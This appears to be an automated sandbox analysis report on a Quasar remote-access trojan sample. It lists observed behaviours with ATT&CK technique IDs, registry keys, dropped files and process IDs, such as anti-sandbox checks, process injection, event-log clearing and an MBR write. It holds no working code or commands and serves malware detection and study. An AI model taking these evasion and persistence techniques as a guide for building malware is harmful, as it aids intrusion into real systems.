quasar | 13dd2c4d58353b14afa8e28b6d344eec097b306bfc11c54955503fdd577da794

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	$sxr-mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	obf.bat.exe

Deletes itself 1 IoCs

pid	Process
4344	obf.bat.exe

Executes dropped EXE 5 IoCs

pid	Process
4344	obf.bat.exe
4424	$sxr-mshta.exe
4468	$sxr-cmd.exe
1628	$sxr-powershell.exe
4500	$sxr-powershell.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx	svchost.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\K:	svchost.exe
File opened (read-only)	\??\L:	svchost.exe
File opened (read-only)	\??\Z:	svchost.exe
File opened (read-only)	\??\E:	svchost.exe
File opened (read-only)	\??\H:	svchost.exe
File opened (read-only)	\??\M:	svchost.exe
File opened (read-only)	\??\N:	svchost.exe
File opened (read-only)	\??\S:	svchost.exe
File opened (read-only)	\??\A:	svchost.exe
File opened (read-only)	\??\G:	svchost.exe
File opened (read-only)	\??\J:	svchost.exe
File opened (read-only)	\??\P:	svchost.exe
File opened (read-only)	\??\Q:	svchost.exe
File opened (read-only)	\??\R:	svchost.exe
File opened (read-only)	\??\U:	svchost.exe
File opened (read-only)	\??\B:	svchost.exe
File opened (read-only)	\??\I:	svchost.exe
File opened (read-only)	\??\O:	svchost.exe
File opened (read-only)	\??\T:	svchost.exe
File opened (read-only)	\??\V:	svchost.exe
File opened (read-only)	\??\W:	svchost.exe
File opened (read-only)	\??\X:	svchost.exe
File opened (read-only)	\??\Y:	svchost.exe

Hide Artifacts: Hidden Window 1 TTPs 2 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

Hidden Window

T1564.003

pid	Process
1628	$sxr-powershell.exe
4500	$sxr-powershell.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	wmiprvse.exe

Drops file in System32 directory 11 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe

Suspicious use of SetThreadContext 18 IoCs

description	pid	Process	procid_target
PID 4344 set thread context of 780	4344	obf.bat.exe	93
PID 4344 set thread context of 3616	4344	obf.bat.exe	94
PID 1628 set thread context of 3956	1628	$sxr-powershell.exe	102
PID 1628 set thread context of 5116	1628	$sxr-powershell.exe	103
PID 1628 set thread context of 1452	1628	$sxr-powershell.exe	105
PID 1628 set thread context of 4232	1628	$sxr-powershell.exe	106
PID 4344 set thread context of 5652	4344	obf.bat.exe	125
PID 4344 set thread context of 5732	4344	obf.bat.exe	129
PID 1628 set thread context of 5188	1628	$sxr-powershell.exe	130
PID 1628 set thread context of 4896	1628	$sxr-powershell.exe	131
PID 1628 set thread context of 6756	1628	$sxr-powershell.exe	132
PID 1628 set thread context of 6820	1628	$sxr-powershell.exe	133
PID 1628 set thread context of 5408	1628	$sxr-powershell.exe	134
PID 1628 set thread context of 6264	1628	$sxr-powershell.exe	135
PID 1628 set thread context of 6456	1628	$sxr-powershell.exe	138
PID 1628 set thread context of 5212	1628	$sxr-powershell.exe	141
PID 1628 set thread context of 6768	1628	$sxr-powershell.exe	143
PID 1628 set thread context of 6984	1628	$sxr-powershell.exe	144

Costura .NET executable packer 3 IoCs

Costura packer aka Costura Fody, is an add-in for the .NET framework that embeds all external dependency .dll files as resources inside main executable.

costura packer

resource	yara_rule
behavioral1/memory/4344-20-0x000002D9C88C0000-0x000002D9C8916000-memory.dmp	costura
behavioral1/memory/1628-60-0x0000025FF45B0000-0x0000025FF4D7A000-memory.dmp	costura
behavioral1/memory/1628-61-0x0000025FF4D80000-0x0000025FF51BE000-memory.dmp	costura

Drops file in Windows directory 14 IoCs

description	ioc	Process
File created	C:\Windows\$sxr-powershell.exe	obf.bat.exe
File created	C:\Windows\$sxr-mshta.exe	obf.bat.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	obf.bat.exe
File created	C:\Windows\$sxr-cmd.exe	obf.bat.exe
File opened for modification	C:\Windows\$sxr-cmd.exe	obf.bat.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	obf.bat.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File created	C:\Windows\Logs\CBS\CBS.log	TrustedInstaller.exe
File opened for modification	C:\Windows\Logs\CBS\CBS.log	TrustedInstaller.exe
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
6568	6984	WerFault.exe	144

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WerFault.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WerFault.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5708	cmd.exe
6780	PING.EXE

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	wmiprvse.exe

Checks processor information in registry 2 TTPs 15 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe

Enumerates system info in registry 2 TTPs 9 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe

Kills process with taskkill 1 IoCs

pid	Process
6968	taskkill.exe

Modifies data under HKEY_USERS 62 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb0100000052bff57e6a76c04988198fb8d249ecc700000000020000000000106600000001000020000000d7bff53de43f55ed4095a08497d559eb9b538f21973f708197f619c331a9d1a7000000000e80000000020000200000008b7b4f290da7dd9e994832fb3d421e3862ec73ca48a4c5cf5eefac66c3c04cb1000c0000bd7acf1b86c280ad75bab8b48de14b86fb54a11f889a29759a462ecf8f4cfd4f636c6c4f07cc50f2f931ee2b64a7c927840df0016ec99e12ed94273274cc8a6e965ebfce0d3c8b44f5278ec00bf3be777a17417cb8822481fdbde994e59dc01bc48cd72f5571f10455dceebd12055dd57353a701cb820c314b5aca78e7b6966918f440cb197a4f9165bb79130e96225134b0d134d98b5fd4f4b950c80ff513a98db93a8428105c8eedeb06d962ef72c57139e456f3bf11cada2f5ac7525dec6747a89fc074014ccd6c635438bfc88f6ac7da5fb4bc9ccaf387546564f1d66c5038e86e212ff8309deaa57d6658899c9dd054091490b3836f42da331fe019988d5070456b9c709138d9c1fb9c09f53348f76d639b8ece8a7ff30ef0f8d04ed3386383bba1aae3e474b908d9e6c461a0e2abb7b01a19b723e99796f8dd32f07835aba4d99ebf0bf9b72601901249ce4d3dd6984f54d673226abb351928e159c53723d093826f602fae9d194773107da2318f6cc5594743514158458ff8f855fe094d732a3ce8d250a7b9756cca0ad1f11f6aa642135f1ac63b52d248c05a64fc4b38623f52a82a05ae32630774601d1e62ea576fcacd8a0542697773ff68d2252d2dabcd8d3066c4b13744e0254121f62301762cf3b40d7bda9ae9bc3906312e104188ba6a20d4cbb31c0c3eb4600643cbe520c8b0f5cbdfe2c16eff994bc742b5082aeda7f3af7344a6fe7e01d790db94f72beb38abf997fb27f713a3ea1d0df27c6fe88cdcc23b32b368e954e05afc4c3fbb5b7a94e3159abbdee258cf68526707afac3c2f5ed170a14c7b5c46ae683fab80d963b1ae4bc8ff84914e46c8035330e93be80d9495932e5e2e1d3c9f58cc0e06176e0372e79da26d86e714147d113d7a89e8d5b58823b093b258869827daae48d0798813744fb842915a2ad25a52004b7e61f433b4174926ebb3970a66cad3b135e0dd8459d7b9a85a9d6ae2587e1bd3800bf7dac12183bdda691f8103ff6fe0b0b3a908385ef97e7a7581155f6b9472726d0c253cafd1439396570d44743ed9a9d28ca8a4182a2333e9160351347453e301de341e7e5d5b020c0e159468a847fcf63411240d5e2971a96098f439f53defffc9d30baf5a85054b2b4fa99f541f996a4e18341714f061318973cec50743f63540fd19b7e343aa117e667c0037623ab657135e3b4ddfa7b41ae3fcdb7d1fda527ad18b8b537a3b15304233be71511fc5c84e588c7d4099bf6600ca4ca1c18cdf54c57ae31a0bde63ab368278c9abb2070045901ff8a552696e65e9fcb2010a56ee4abdcd44d6e6c80f92aacb7ba4b665630e3e1c92f0a7b0f6032d1d3fe53edddde9383b304910df437329a4e62aea7608e107e1497b8e7c17bfa85d37a85029deca6957bc78f02aa973fcb102458a5cc87db9f244c78c3c9177d801ab0da77595887a3c256ff59a7ef498e41d9b70861a999296642f028e95921a1d6d082128471b647f76bf02f619d91150108ff8eb2e80d1532c8edad71abab96ccda549ae36dfa47dc7522bb645221f4a8c3f29a215806b0d63f5f1e4baebba93e8993946747411b2f938a6f758ec0c020932b901e37839c297c001e197a6a7fd14ed37592f1a61dcaa8f016d73a2afd1e7171146bd7fdaa99c1471c84837044eb2a76a4da0609791b51b55fc10fe782f54fb90a4cfd318b5fefcaf0394d6e3a8f3f0ce1df5f4fd8b618dbe500ac8cd5568bb59c02f709ac0a076389eee7171d45edb85eeeefdbdf8c0f82fb82b571ae10617735dcd77febe6c94a012eb76e9eb11bbc7c20b407ca43c878c81dd02ba9a169a570fd2a15a0e5d416c4ba4a75673d2ad441c8672d6eb311a9e3f94ed18564773e254051979351f574ac5ea4f85fa1f7b4b40e372a3dc2bf0134555c4c3118628a183322baac4fa8d77dc9a5fde42351e4ef80711a10b07857e725b5b0f5a8dbb69b0ca7e65bc97d81b8cecb4d6b58ce33c3f6f041d31cc6eeba62285a0f20a8fd450a75e0e6cd5291f6f8c9bdfc1021b615fe6ac3f2966389dd6979e9220dcb42213b8eaa78b411a18f45a5139e9d5324727f269b850578d9995ce50c1fe9e4aae31d0906199919f358456ecfe4a807f2403419c52cf3a0fa3fd35dad1fbd2c65bb37e3ead8e87341effc6fc8069c12aa5cf7e06e76079b94780c9cb25897a4a64133c858c8bae5e0cb3ba9db46e7bfac5789e1aa7018557cfcab75f4997db19372eaaf94c7b5bd44a91d88088d580e50cc1f89e4b233e1d8939b62ab5ea5c9ed1bdb6f6f6bdb573304f05c1ddffb6c6aa4c825afe07b74312f453a13a05006f3a5c065a4883a4fea0e0426b8071547917dfa3917bda53e888a2885f8fcbc9df0ddfeb10e81be761803979b95b21c272b72ab46ef96670fa6b32874ef2b96a46097191d28d263c84f2c1cfcfff760817b8b343996cd2cacad2f3f0b275c44216003cc3d02f011de1cf64f986964e13bb30c6c39b009ef4f77e844366e16379c12d50da65cc75f49777fd4bf80f14767697e8d1367b392ca1f3ad995de49fa0dd6827a80427130dd673a85c05ad2e1393cca94e76701521cca0eb8f9687c52f5bfa91c9672bf2df3b3b2532bef1eb5e58cfe0b922b69d7b8906eecb8c5f3ea8973725649f2b3bd5a2ada2866843da77b749f2156ced86bd08e0980925e8070faefaf6999a209b52404c3acce84456dddde37761e1685b9a7aba12a7ed7e80eb56c43441a8243f071019f82c977ef88b7d596458c59ee83ed458f94a19d0f0a0ec2279db58cf4129284abdbefd9cd0f0649f66ae69e6ac9645016b1d840e91c5839613b482e4747eda95d4f255b5a6cb373163d2fcbc1d9921de88458bc7fa7cc76761abf492ea36b80058e631e7d7921c15596698395741a7158b9fbe55953b9f7589a94850dc7ccb4635644cc05b593f5236d609b05b0e35b03e8799b50e8d2e35361ffcef6530aeb4f368e51ba54a70e7d5d650fed99f0d9c70f63ca66d356bd3e3f6370ddd215d0f9c6d597e9e9937b97e2036ccc4138178a2ad05834ee71ef07fde910fc0c482fc3b3ba8234a3ffe98c5f8744d4bd36ff0da36bc9310b86f4543b007b0510d3de462e0a97f51f483b3d05058d3d5d0ecb273e9e84024d9056ec71b54abf2f1db0b987a4dd442561d68cf5e120f3aebc580348155a701b8e539abc6e7d7c6d49e1e10389fcc7f4a426a33310d4bcd132af8dcb981b776011ac3052460a68216b48a8410fe9f9528533487b2090a7ccc0cd760252ebe4b2cd51e8de80f7fc2ec7920982352d0b6aefc8fa191f7f420812cbea211716c428712d7e3fa162ab79590e3bc753e3e02701db4cd499e7f2f4e1d49387b781fb1b06ed6762eaf4a9053b185915d8e0c86e59a105927c40d72da6bc40fbf8b372bce2667c180b9fc3781f0d78aa27edf2350e33d4c4f55d515b23562c1f843dc3d0890b4f1fa2439c1346b44f025e8d5b80830e2941ba789d790e7f5e98c40dcc5f8e44e012f8fc244b53f1f99ec35136eeed4e22a764424f87b715a82c6a77907ab83b8c6e4a5f62cb27b3bfaaf805127d97f688689caa9607d6188e73939344b70165f011334098650c4004ea97e48edeea8678fbea831d0c8715972c66e267a0d1bb6233ec8ab6bad027e2fdad85e6050fdd94a56e5ef85c7deee183ec32157cbe3d47759e2c2b76817d31c03735e39bc3c96aeb77df546f3ca16a67d0e812817321834fb3c2d4acfa47319952b941e7269e2c71163c51f4c709855e368f246781dc14b6712a20f38dc03fb488512319f5d71473ad054f75268fd591036652a095bbdfe87416f37117332cf35fc4338e4e85a87a329a57594e73955968d41865231c8d08ca62469188ca59e51e81af1b883f733467d0418efea15f780689315dfb4a4ed689bd4e22c0f72169783100dff816d834083dab4a8182d0302c66509b5a3b39b86497e7224893f8ca564cd588c519469e49e0b5f37f440b954240f0816fe5a08c9b55defd799f16b3d4b36f1799d6276d6ac89304c2675631156b0c53825851b325a833a0e8f32b6ecd6ff7fd774ca3d3438a754c562f94f355306dc6f66f18081cf9b7dc4e3f463be75aadf8fc9764dadde61c4cf5e16a5b14aba363c2ab604371fcf90f23c91490df3796fb21ad925d1d5c84578e6a62b08b217cf805a6ede60271df72e1ef500e31ef1578f404651663282c43623d6d311847362a4901b2754a4e1133180982a146584231e0a34f59b0295e8e606fe1b8c44de95b73e501ff986af8d439aa357b018ed4ab8980cc0385b7b0884c3fcfee57b354e53ab69514b1f2579980f7fd67cc300b840000000fec79e2cae2ca2221298009b6d57f2cec356b277134724b7a9b085f18269cdd7d051b534846d7cb010c36b13bf2e463054a7757f29b3845f5c336c90e0eaf51d	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1780279048"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "001800185A9F43BB"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "001800185A9F43BB"	mousocoreworker.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={6B56C152-4BCD-4F9A-B5A2-C9E557149C8B}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
